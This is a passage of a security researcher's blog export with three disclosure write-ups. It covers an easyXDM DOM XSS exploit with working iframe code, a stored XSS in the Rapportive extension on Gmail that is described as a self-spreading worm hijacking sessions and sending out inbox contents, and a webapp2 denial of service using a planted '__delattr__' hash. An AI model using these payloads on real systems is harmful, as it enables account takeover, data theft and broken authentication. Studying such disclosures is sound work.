<span style="font-family: Courier New, Courier, monospace;">name.html#_3channel,javascript:alert(document.domain)//</span><br />
<h2 style="text-align: left;">
Sea of troubles</h2>
"To be, or not to be, that is the question—<br />
Whether 'tis Nobler in the mind to suffer<br />
The Slings and Arrows of outrageous Fortune,<br />
Or to take Arms against a Sea of troubles,<br />
And by opposing end them"<br />
<i><span style="font-size: x-small;">(The Tragedy of Hamlet, Prince of Denmark, Act III, Scene 1)</span></i><br />
<div>
<i><span style="font-size: x-small;"><br /></span></i></div>
It's not the end though. We still have some problems to overcome. Before <span style="font-family: Courier New, Courier, monospace;">location.href</span> gets assigned two statements must execute without throwing errors:<br />
<pre class="brush:js" name="code">var guest = window.parent.frames["easyXDM_" + channel + "_provider"];
guest.easyXDM.Fn.get(channel)(window.name);
</pre>
<b>First statement: </b>So we need to frame <span style="font-family: Courier New, Courier, monospace;">name.html</span>. No problem, it's supposed to be framed anyway (it's not a bug, it's a feature!). Then we need a separate <i>provider</i> frame, and this frame needs to be in-domain with <span style="font-family: Courier New, Courier, monospace;">name.html</span> and have an <span style="font-family: Courier New, Courier, monospace;">easyXDM.Fn</span> object available. Luckily, easyXDM project has a lot of <span style="font-family: Courier New, Courier, monospace;">.html</span> documents with easyXDM libraries initialized. Quickly looking at <span style="font-family: Courier New, Courier, monospace;">examples/</span> subdirectory we can pick e.g. <span style="font-family: Courier New, Courier, monospace;">example/bridge.html</span>. So, we need something like this:<br />
<pre class="brush:html" name="code"><iframe src=http://domain/name.html#payload ></iframe>
<iframe name="easyXDM_channel_provider" src="http://domain/example/bridge.html"> </iframe>
</pre>
<b>Second statement: </b><span style="font-family: Courier New, Courier, monospace;">guest.easyXDM.Fn.get(channel)(window.name)</span>. So, <span style="font-family: Courier New, Courier, monospace;">get()</span> (loaded from <span style="font-family: Courier New, Courier, monospace;">bridge.html</span> document) <b>must return a function accepting a string</b>. Let's look at what <span style="font-family: Courier New, Courier, monospace;">get()</span> does:<br />
<pre class="brush:js;highlight:[1,19]" name="code">var _map = {};
/**
* @class easyXDM.Fn
* This contains methods related to function handling, such as storing callbacks.
* @singleton
* @namespace easyXDM
*/
easyXDM.Fn = {
/**
* Retrieves the function referred to by the given name
* @param {String} name The name of the function to retrieve
* @param {Boolean} del If the function should be deleted after retrieval
* @return {Function} The stored function
* @namespace easyXDM.fn
*/
get: function(name, del){
var fn = _map[name];
if (del) {
delete _map[name];
}
return fn;
}
};
</pre>
Crap! It will return a function from some <span style="font-family: Courier New, Courier, monospace;">_map</span> container, but that container is initially empty! So we're basically doing: <span style="font-family: Courier New, Courier, monospace;">{}[channel](window.name)</span> - this will obviously fail quickly as <span style="font-family: Courier New, Courier, monospace;">{}[anything]</span> returns <span style="font-family: Courier New, Courier, monospace;">undefined</span>. And <span style="font-family: Courier New, Courier, monospace;">undefined</span> is definitely not a <span style="font-family: Courier New, Courier, monospace;">Function</span>. We can either try to find some other document or use more easyXDM magic that will fill the container before accessing it. Too much work. Let's use Javascript instead!<br />
<h2 style="text-align: left;">
"I know a trick worth two of that"</h2>
<div>
<i><span style="font-size: x-small;">(King Henry IV, Act II, Scene 1)</span></i><br />
<i><span style="font-size: x-small;"><br /></span></i>
You see, empty object ({}) is not that empty. It inherits from it's prototype - <span style="font-family: Courier New, Courier, monospace;">Object.prototype</span>:</div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgukWkJ7DxzeiSFCAbbh6-MhPv44dlJeHNlCRcy3jg2-XrhjqVaIhOfp8Atz1cUaOiIOxstPdcy1FF4pRKgy95-3zOlCVxXv8oIVdKh9t5bBK0a1OmPqqVXnwb17-ySkqE6e2PsGFNBrZE/s1600/screenshot_07.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgukWkJ7DxzeiSFCAbbh6-MhPv44dlJeHNlCRcy3jg2-XrhjqVaIhOfp8Atz1cUaOiIOxstPdcy1FF4pRKgy95-3zOlCVxXv8oIVdKh9t5bBK0a1OmPqqVXnwb17-ySkqE6e2PsGFNBrZE/s1600/screenshot_07.png" height="87" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">JS prototypical inheritance rulez!</td></tr>
</tbody></table>
So, naming our channel '<span style="font-family: Courier New, Courier, monospace;">constructor</span>' will cause two above JS statements to correctly execute, followed by <span style="font-family: Courier New, Courier, monospace;">location.hash</span> assignment - and that completes the exploit.<br />
<pre class="brush:html" name="code"><iframe id=f></iframe>
<iframe name="easyXDM_constructor_provider"
src="http://easyxdm.net/current/example/bridge.html"
onload="document.getElementById('f').src='http://easyxdm.net/current/name.html#_3constructor,javascript:alert(document.domain)//';">
</iframe>
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMLF3IOye5tvd1v3s9Ll8vuU4JQ_c2sK-CiBmKANXSUVS8J4EZDeokmUmYTc_YZHr01C5xwtDrOPSH5Dpk_Y97pyJKO7ntzqFl75EIrBFQ8p1Mq37pA4gUJqId2JH1osOCphgTrmXM0_g/s1600/screenshot_08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMLF3IOye5tvd1v3s9Ll8vuU4JQ_c2sK-CiBmKANXSUVS8J4EZDeokmUmYTc_YZHr01C5xwtDrOPSH5Dpk_Y97pyJKO7ntzqFl75EIrBFQ8p1Mq37pA4gUJqId2JH1osOCphgTrmXM0_g/s1600/screenshot_08.png" height="251" width="320" /></a></div>
<h2 style="text-align: left;">
All's well that ends well</h2>
"Of that and all the progress, more or less,<br />
Resolvedly more leisure shall express:<br />
All yet seems well; and if it end so meet,<br />
The bitter past, more welcome is the sweet."<br />
<i><span style="font-size: x-small;">(All's well that ends well, Act V, Scene 3)</span></i><br />
<div>
<br /></div>
<div>
The vulnerability was quickly reported and fixed in version <b>2.4.19</b>. Do upgrade! Programmers, remember - don't use <span style="font-family: Courier New, Courier, monospace;">{}</span> as data constructor without proper key validation (see <span style="font-family: Courier New, Courier, monospace;">Object.hasOwnProperty()</span>). And in your documents don't connect sources with sinks!<br />
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com1tag:blogger.com,1999:blog-3650259870998252242.post-15874043652725806312013-12-27T21:06:00.000+01:002014-01-01T15:16:10.018+01:00Rapportive XSSes Gmail or have yourself a merry little botnet...<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr:</b> Learn how to code audit Handlebars applications. Xss in extension = fun times. Mosquito gets new features.<br />
<br />
It's that magical time of the year, when wonders happen... Everyone's getting <a href="https://cure53.de/xmas2013/">big presents</a>. I was apparently naughty, cause I only got one XSS. What can one do? If life gives you lemons...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkUwYt1L9FLNl4Em-LFPIm_ilFbh0ihUqSVp3SO4Yi9UKgmnBDu9LnzpoJsIExwyPqgzxRnkGE8i5IfRK1FpORvakJfxXbGC8YyMmiFxtag-1sWtXQxOzEJqQknhaz85-sqBjypc0Fz8/s1600/screenshot_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkUwYt1L9FLNl4Em-LFPIm_ilFbh0ihUqSVp3SO4Yi9UKgmnBDu9LnzpoJsIExwyPqgzxRnkGE8i5IfRK1FpORvakJfxXbGC8YyMmiFxtag-1sWtXQxOzEJqQknhaz85-sqBjypc0Fz8/s320/screenshot_01.png" width="320" /></a></div>
<br />
you make a lemonade. And I don't mean <a href="http://www.google.com/about/appsecurity/reward-program/">Google juice</a> - it does not qualify.
<br />
<h2>
But XSS on Gmail?!</h2>
You see, the code executing on <span style="font-family: Courier New, Courier, monospace;">mail.google.com</span> domain is not always the one belonging to Google, subject to their bug bounty. Unfortunately, there's much, much code coming from all other domains too, that does not come close to Google quality. I'm of course talking about <b>browser extensions.</b> I've been researching this subject for two years now, <a href="https://github.com/koto/xsschef">with</a> <a href="https://github.com/koto/mosquito">quite</a> <a href="http://sched.appsec.eu/event/51bfe5316d24c803a38065b4624c55ec#.UrN54GRDs4c">a</a> <a href="https://blog.whitehatsec.com/top-ten-web-hacking-techniques-of-2012/">few</a> <a href="http://www.slideshare.net/kkotowicz/im-in-ur-browser-pwning-your-stuff-attacking-with-google-chrome-extensions">results</a>, and if I had to sum it all up in one sentence it would be:<br />
<br />
Browser extensions are badly coded, can affect your website with their vulnerabilities and there's <b>nothing</b> you can do about it.<br />
<br />
And this is exactly the case here: We have a top-notch Gmail application and a very popular extension that reduces Gmail to a lousy PHPBB-like forum full of XSSes. But this time, I decided to push the matter forward and demonstrate what's possible when one can execute JS in Gmail origin. But first, let me introduce you to our today's hero, Rapportive.<br />
<a name='more'></a></div>
<h2>
Rapportive (or LinkedIn Intro--)</h2>
<a href="https://rapportive.com/">Rapportive</a> is, among other things, a Chrome Extension (<a href="https://chrome.google.com/webstore/detail/rapportive/hihakjfhbmlmjdnnhegiciffjplmdhin">link</a>) that "(...) shows you everything about your contacts right inside your inbox". The analyzed version (over 250000 users) is 1.4.1. Looking at it's security history, Jordan Wright has looked at Rapportive in the past and (ab)used it for <a href="http://jordan-wright.github.io/blog/2013/10/14/automated-social-engineering-recon-using-rapportive/">social engineering info gathering</a> - I couldn't find anything else.<br />
<br />
Business-wise Rapportive became so popular, that LinkedIn <a href="http://mashable.com/2012/02/22/linkedin-buys-rapportive/">bought it</a> and the team behind it is now responsible for <a href="http://venturebeat.com/2013/10/26/linkedins-new-intro-app-is-a-nightmare-for-email-security-and-privacy-say-researchers/">LinkedIn Intro</a>. Go figure.<br />
<br />
The extension is very thin. It only works on <span style="font-family: Courier New, Courier, monospace;">https://mail.google.com</span> website and just loads the main code from <span style="font-family: Courier New, Courier, monospace;">https://rapportive.com/</span> by creating script nodes (that's why code updates don't require Chrome extension reinstallation). The main function of the script is to display rich info about the current Gmail contact in Gmail sidebar. Like this:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9pLNxRJDCH8biq9zi73uYfI9B4ZeSQlSj5O7AWu1ngwJEtxKk1oVhOISSvv7OBNx2aK89SrNgZ9AAERkc2-Sysm6rJo7Rw5IhRpDgIRVNIASPj9Ma7agNbWiMYQtV0lBI0jkUBSx8v0I/s1600/screenshot_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9pLNxRJDCH8biq9zi73uYfI9B4ZeSQlSj5O7AWu1ngwJEtxKk1oVhOISSvv7OBNx2aK89SrNgZ9AAERkc2-Sysm6rJo7Rw5IhRpDgIRVNIASPj9Ma7agNbWiMYQtV0lBI0jkUBSx8v0I/s320/screenshot_01.png" width="198" /></a></div>
<br />
Current user = the one you highlighted, the one you write an email to, the one you're displaying conversation with etc. Once you sign up (via Google Account OAuth), you can also edit your info, that will show up to other users (you don't need to be related to the user or have previous conversation history). And, of course, within that info, there was a stored XSS (the vulnerability was reported and <b>fixed</b> before publishing this post). Let's look at what caused that vulnerability.<br />
<h2 style="text-align: left;">
Handlebars</h2>
<div>
Rapportive makes heavy usage of <a href="http://handlebarsjs.com/">Handlebars</a> - a JS templating engine. Like most of the current templating engines, it <b>autoescapes</b> the content, sanitizing it. Unless you ask it not to. by using <span style="font-family: Courier New, Courier, monospace;"><b>{{{</b>i_like_to_rock<b>}}}</b></span> instead of <span style="font-family: Courier New, Courier, monospace;"><b>{{</b>smooth_jazz_for_me<b>}}</b>. </span>In that case, you need to carefully escape not-trusted data yourself. To check for vulnerable places, you just need to look for <span style="font-family: Courier New, Courier, monospace;">{{{</span> in Handlebar templates. This is one example of what I've found in Rapportive:</div>
<pre class="brush: js; highlight: [2,7,13,14,15,31,40]" name="code">client.templates["basic_info/_image_and_location"] =
Handlebars.compile("<table class=\"basics\">... {{{ format_location contact/location }}}\n ...");
// triple {{{ marks the data as HTML and skips HTML escaping
// contact/location is the value fetched from the server
// format_location helper forwards to tracked_link helper
helpers.format_location = function (params, location) {
return helpers.tracked_link.call(this,
params,
'http://maps.google.com/maps?q=' + encodeURIComponent(location), // href
'Location link clicked', // tracking_tex
'location', // css_classes
function () { // block
return location.replace(/^([^,]*,[^,]*),.*/, '$1');
// look ma, no escaping here!
});
} else {
return '';
}
// tracked_link wraps that into a link and compiles using handlebar() function
helpers.tracked_link = function (params, href, tracking_text, css_classes, block) {
return handlebar(params,
['<a href="{{href}}" class="{{css}}" ',
'onclick="if (rapportiveLogger) { rapportiveLogger.track(\'{{track}}\'); } return true;" target="_blank"',
'>{{{contents}}}</a>'], // again, notice triple {{{, no escaping will be done
{
href: ((href[0] === '/') ? params.rapportive_base_url : '') + href,
css: css_classes,
track: tracking_text,
contents: block && block(this) // evaluates block function, passing result to contents
});
};
// for completeness sake
function handlebar(params, template, context) {
if (template instanceof Array) {
template = template.join("");
}
return Handlebars.compile(template)(context, params.bound_helpers);
}
</pre>
So, <span style="font-family: Courier New, Courier, monospace;">contact/location</span> value (fetched from a server) ends up in HTML not sanitized (it's only trimmed on 2nd ","). You can control the value in the UI by editing your current location in the profile or just storing it directly on the server and refreshing:<br />
<pre class="brush: js" name="code">rapportive.request({
data: {
_method: "put",
client_version: rapportive.client_version_base,
new_value: '"><script>alert(document.domain)</script>',
user_email: rapportive.user_email
},
path: "/contacts/email/" + rapportive.user_email + "/location?_method=put&amp;user_email=" + escape(rapportive.user_email),
});
</pre>
As you can see, nothing fancy. But it's not just a boring <a href="http://blog.securitee.org/?p=114">self-xss</a>. What makes it interesting is that:<br />
<ul style="text-align: left;">
<li>it runs at <span style="font-family: Courier New, Courier, monospace;">https://mail.google.com</span> - a very popular domain</li>
<li>it's stored</li>
<li><b>It will execute in other users account</b> (in their Gmail application they only need to e.g. look at your emails, search for you etc.)</li>
<li>it's totally outside control of the application owner (Google) as the injection happens through the browser extension</li>
</ul>
<div>
All these factors make it a very powerful XSS, capable of creating a spreading worm. And that's exactly what I'll demonstrate with <a href="https://github.com/koto/mosquito">Mosquito</a>. </div>
<h2>
Mosquito?</h2>
Mosquito is a tool I wrote some time ago to leverage exploiting XSS in Google Chrome extensions:<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
Mosquito is a <b>XSS exploitation tool</b> allowing an attacker to set up a HTTP proxy and leverage XSS to issue arbitrary HTTP requests through victim browser (and victim cookies).</blockquote>
<blockquote class="tr_bq">
Mosquito is extremely valuable when exploiting <b>Google Chrome extensions</b>, because via using XSS is extension content script it can usually issue arbitrary cross-domain HTTP requests (breaking the usual Same Origin Policy restrictions).</blockquote>
</blockquote>
Basically, via WebSocket magic it allows you to hijack victim(s) browser(s) and use your local HTTP proxy to send arbitrary HTTP requests through victim with his/<a href="http://gigaom.com/2013/12/02/slap-fight-in-node-js-land/">hers</a> cookies. So, with mosquito and one XSS you can hijack a browsing session, without knowing the cookies, proving again that <span style="font-family: Courier New, Courier, monospace;">httpOnly</span> is just a <i>snakeoil</i>. Very easy, very effective. If you'd like to know more about the tool, look at <a href="https://github.com/koto/mosquito/">github.com/koto/mosquito/</a> or see a demo on slide 40 <a href="http://www.slideshare.net/kkotowicz/im-in-ur-browser-pwning-your-stuff-attacking-with-google-chrome-extensions">here</a>. Rapportive XSS looks like a perfect playground for mosquito.</div>
<h2>
How to start a botnet?</h2>
Well, to make a successful botnet, you need:<br />
<ul style="text-align: left;">
<li>a vulnerability</li>
<li>a spreading mechanism</li>
<li>command & control</li>
</ul>
<div>
We already have the vulnerability - we can inject arbitrary JS code into location details. Spreading mechanism is easy as well. As the vulnerability triggers when victim (using Rapportive) views our profile, we can e.g.</div>
<div>
<ul style="text-align: left;">
<li>send a link to the search results: <span style="font-family: Courier New, Courier, monospace;">https://mail.google.com/mail/u/0/#search/infected%40gmail.com</span> ,hoping they click on any result,</li>
<li>send them an e-mail,</li>
<li>convince them to write <i>us</i> an e-mail,</li>
<li>... or just wait. Someone will eventually look up infected accounts.</li>
</ul>
<div>
Of course, once the infected profile has been loaded, the code embeds the infection in current user profile, spreading the disease further.<br />
<br />
As for command & control, one can e.g. use Mosquito which will be able to hijack Gmail sessions.<br />
<h2 style="text-align: left;">
Demo</h2>
Let's see that in action - starting an infection from <span style="font-family: Courier New, Courier, monospace;">evilhacker111@gmail.com</span> into other <span style="font-family: Courier New, Courier, monospace;">*victim*@gmail.com</span>. Payload used in attack:<br />
<ol style="text-align: left;">
<li>hooks victim to Mosquito</li>
<li>extracts Rapportive authorize and session IDs (these allow attacker to interact with Rapportive API on behalf of victim)</li>
<li>sends Inbox contents and a few contacts to attacker via e-mail (just for fun)</li>
</ol>
<div>
Look at the demo (notice the new <span style="font-family: Courier New, Courier, monospace;">http://mosquito</span> control panel, allowing the attacker to switch between hooked sessions):</div>
</div>
</div>
<div>
<br /></div>
</div>
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/yBBhpLCBzHA" width="560"></iframe></div>
<h2>
Timeline</h2>
<div>
2013-12-20 - Sent vulnerability details to vendor, no response</div>
<div>
2013-12-21 - Repeated contact, no response</div>
<div>
2013-12-27 - Repeated contact, vendor response<br />
2013-12-27 - Fix and public disclosure</div>
<h2>
Summary</h2>
When dealing with templates, be careful. Avoid <span style="font-family: Courier New, Courier, monospace;">{{{</span> in Handlebars. XSSes are many, but XSS in browser extension is disastrous as it completely breaks the security of websites that the extension is interacting with. Also, I encourage you to try <a href="https://github.com/koto/mosquito">Mosquito</a> to demonstrate XSS vulnerabilities. </div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com5tag:blogger.com,1999:blog-3650259870998252242.post-57074810094130700512013-12-16T13:43:00.000+01:002013-12-16T17:25:02.798+01:00Breaking Google AppEngine webapp2 applications with a single hash<div dir="ltr" style="text-align: left;" trbidi="on">
What's this, you think?<br />
<br />
<b>07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i</b><br />
<div>
<br /></div>
<div>
It's easy to tell that this is a <a href="http://en.wikipedia.org/wiki/Salt_(cryptography)">salted</a> password hash, using <b>sha1</b> as the hashing algorithm. What do you do with it? You crack it, obviously!<br />
<br />
No wonder that when talking about password hashes security, we usually only consider salt length, using <a href="http://www.youtube.com/watch?v=vCadcBR95oUyRXxeA&bvm=bv.57967247,d.Yms">salt & pepper</a> or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to <b>read</b> our hashes". Granted, these issues <i>are</i> extremely important, but there are others.</div>
<div>
<h2>
A weird assumption</h2>
<div>
Today, we'll speculate what can be done when the attacker gets to <b>supply</b> you with a password hash like above.</div>
<div>
<br /></div>
<div>
Who would ever allow the user to submit a password hash, you ask? Well, for example <a href="http://lcx.cc/?i=3967">Wordpress did</a> and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone <b>wrote a malicious hash</b> in your DB.
<br />
<h2>
Introducing the culprit</h2>
We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at <a href="https://developers.google.com/appengine/">Google AppEngine</a>. For Python applications, Google <a href="https://developers.google.com/appengine/docs/python/gettingstartedpython27/usingwebapp">suggests</a> <a href="http://webapp-improved.appspot.com/">web<span id="goog_1309499097"></span><span id="goog_1309499098"></span>app2</a>. Fine with me, let's do it!<br />
<br />
When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, <a href="http://webapp-improved.appspot.com/api/webapp2_extras/security.html">webapp2 security module</a> uses a standard Python module, <a href="http://docs.python.org/2/library/hashlib.html">hashlib</a>.<br />
<h2>
Authenticating in webapp2</h2>
When does webapp2 application process a hash? Usually, when authenticating. For example, if user <span style="font-family: Courier New, Courier, monospace;">ba_baracus</span> submits a password <span style="font-family: Courier New, Courier, monospace;">ipitythefool</span>, application:<br />
<ol style="text-align: left;">
<li>Finds the record for user <span style="font-family: Courier New, Courier, monospace;">ba_baracus</span></li>
<li>Extracts his password hash: <span style="font-family: Courier New, Courier, monospace;">07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i</span></li>
<li>Parses it, extracting the random salt (<span style="font-family: Courier New, Courier, monospace;">1FsWaTxdaa5i</span>) and algorithm (<span style="font-family: Courier New, Courier, monospace;">sha1</span>)</li>
<li>Calculates <span style="font-family: Courier New, Courier, monospace;">sha1</span> hash of <span style="font-family: Courier New, Courier, monospace;">ipitythefool</span>, combined with the salt (e.g. uses <span style="font-family: Courier New, Courier, monospace;">hmac</span> with salt as a key)</li>
<li>Compares the result with <span style="font-family: Courier New, Courier, monospace;">07667c4d55d8d81a0f0ac47b2edba75cb948d3a2</span>. Sorry, Mr T, password incorrect this time!</li>
</ol>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi90S5-i18g2YvJRrdav7iVXkyCD5yfNiyg246Mu7LGXbyOLXUYu4bgzpCuz0nhWWeZtgpEY4-a78su-eIHMm7iJqklKCqoy_1lJJBO4Oj8W-UQ9cVBHShgP3YgnbiQ8YPR2My6EpzK-hY/s1600/Mr.+T.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi90S5-i18g2YvJRrdav7iVXkyCD5yfNiyg246Mu7LGXbyOLXUYu4bgzpCuz0nhWWeZtgpEY4-a78su-eIHMm7iJqklKCqoy_1lJJBO4Oj8W-UQ9cVBHShgP3YgnbiQ8YPR2My6EpzK-hY/s320/Mr.+T.jpg" width="320" /></a></div>
<br />
1 and 2 happen in <a href="https://code.google.com/p/webapp-improved/source/browse/webapp2_extras/appengine/auth/models.py#284">User.get_by_auth_password()</a> 3 to 5 in in <a href="https://code.google.com/p/webapp-improved/source/browse/webapp2_extras/security.py#131">webapp2_extras.security.check_password_hash(</a>):<br />
<pre class="brush: python; highlight: [21,22,48,49,50,51,52,53,54,55]" name="code">def check_password_hash(password, pwhash, pepper=None):
"""Checks a password against a given salted and hashed password value.
In order to support unsalted legacy passwords this method supports
plain text passwords, md5 and sha1 hashes (both salted and unsalted).
:param password:
The plaintext password to compare against the hash.
:param pwhash:
A hashed string like returned by :func:`generate_password_hash`.
:param pepper:
A secret constant stored in the application code.
:returns:
`True` if the password matched, `False` otherwise.
This function was ported and adapted from `Werkzeug`_.
"""
if pwhash.count('$') < 2:
return False
hashval, method, salt = pwhash.split('$', 2)
return hash_password(password, method, salt, pepper) == hashval
def hash_password(password, method, salt=None, pepper=None):
"""Hashes a password.
Supports plaintext without salt, unsalted and salted passwords. In case
salted passwords are used hmac is used.
:param password:
The password to be hashed.
:param method:
A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`.
:param salt:
A random salt string.
:param pepper:
A secret constant stored in the application code.
:returns:
A hashed password.
This function was ported and adapted from `Werkzeug`_.
"""
password = webapp2._to_utf8(password)
if method == 'plain':
return password
method = getattr(hashlib, method, None)
if not method:
return None
if salt:
h = hmac.new(webapp2._to_utf8(salt), password, method)
else:
h = method(password)
if pepper:
h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method)
return h.hexdigest()
</pre>
So, during authentication, we control <span style="font-family: Courier New, Courier, monospace;">pwhash</span><b> </b>(it's our planted hash), and <span style="font-family: Courier New, Courier, monospace;">password</span>. What harm can we do? First, a little hashlib 101:<br />
<h2>
Back to school</h2>
How does one use hashlib? First, you create an object with a specified algorithm:<br />
<blockquote class="tr_bq">
<pre class="sourcelines stripes4 wrap" style="background-color: white; counter-reset: lineno 0; font-size: 12px; position: relative;">new(name, string='') - returns a new hash object implementing the
given hash function; initializing the hash
using the given string data.
Named constructor functions are also available, these are much faster
than using new():
md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
</pre>
</blockquote>
Then you just fill it with string to hash, using <span style="font-family: Courier New, Courier, monospace;">update()</span> method (you can also pass the string directly to the constructor), and later on use e.g. <span style="font-family: Courier New, Courier, monospace;">hexdigest()</span> to extract the hash. Very simple:<br />
<pre class="brush: python" name="code">>>> import hashlib
>>> hashlib.md5('a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'
>>> hashlib.new('md5','a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'</pre>
<br />
Webapp2 uses <span style="font-family: Courier New, Courier, monospace;">getattr(hashlib, <b>method</b>)(<b>password</b>).hexdigest()</span>, and we control both method and password.<br />
<br />
Granted, the construct does its job. Installed algorithms work, <span style="font-family: Courier New, Courier, monospace;">NoneType</span> error is thrown for non supported algorithms, and the hash is correct:<br />
<pre class="brush: python" name="code">>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest()
'77963b7a931377ad4ab5ad6a9cd718aa'
>>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest()
'9c969ddf454079e3d439973bbab63ea6233e4087'
>>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable
</pre>
<h2>
It's a kind of magic!</h2>
There is a slight problem with this approach though - <a href="http://www.rafekettler.com/magicmethods.html">magic methods</a>. Even a simple <span style="font-family: Courier New, Courier, monospace;">__dir__</span> gives us a hint that there's quite a few additional, magic methods:<br />
<pre class="brush: python" name="code">>>> dir(hashlib)
['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']
</pre>
which means, for example, that if arbitrary strings can be passed as 2nd attribute to <span style="font-family: Courier New, Courier, monospace;">getattr()</span>, there's much more than <span style="font-family: Courier New, Courier, monospace;">NoneType</span> error that can happen:
<br />
<pre class="brush: python" name="code">>>> getattr(hashlib, '__name__')()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object is not callable
>>> getattr(hashlib, '__class__')
<type 'module'>
>>> getattr(hashlib, '__class__')('hash_me')
<module 'hash_me' (built-in)>
>>> getattr(hashlib, 'new')('md5').hexdigest()
'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''
</pre>
That last bit is kewl - you can plant a hash format: <b>md5_of_empty_string$new$</b> and the correct password is... <b>md5</b>!<br />
<h2>
Final act</h2>
__class__ may have a class, but <a href="http://docs.python.org/2/reference/datamodel.html#object.__delattr__">__delattr__</a> is the real gangster!
<br />
<pre class="brush: python" name="code">>>> import hashlib
>>> hashlib.sha1
<built-in function="" openssl_sha1="">
>>> getattr(hashlib, '__delattr__')('sha1').hexdigest()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'hexdigest'
>>> hashlib.sha1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'sha1'
</pre>
<br />
<b>Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! </b>We just deleted the whole <span style="font-family: Courier New, Courier, monospace;">hashlib.sha1</span> function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with <span style="font-family: Courier New, Courier, monospace;">sha1</span> hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use <span style="font-family: Courier New, Courier, monospace;">hashlib.sha1</span> for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted <span style="font-family: Courier New, Courier, monospace;">hashlib</span> will live until application has shut down and gets restarted <span style="font-size: xx-small;">(methinks, at least that's the behavior I observed)</span>. After that, you can still retrigger that vuln by authenticating again!
<br />
<h2>
Demo</h2>
<div>
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/BxRKtVygX28" width="420"></iframe>
</div>
<b>Disclaimer: </b>This is tracked with <a href="https://code.google.com/p/webapp-improved/issues/detail?id=87">issue #87</a><b>. </b>Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But <span style="font-family: Courier New, Courier, monospace;">getattr(hashlib, something-from-user)</span> construct is very popular, so feel free to find a similar vulnerability elsewhere:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
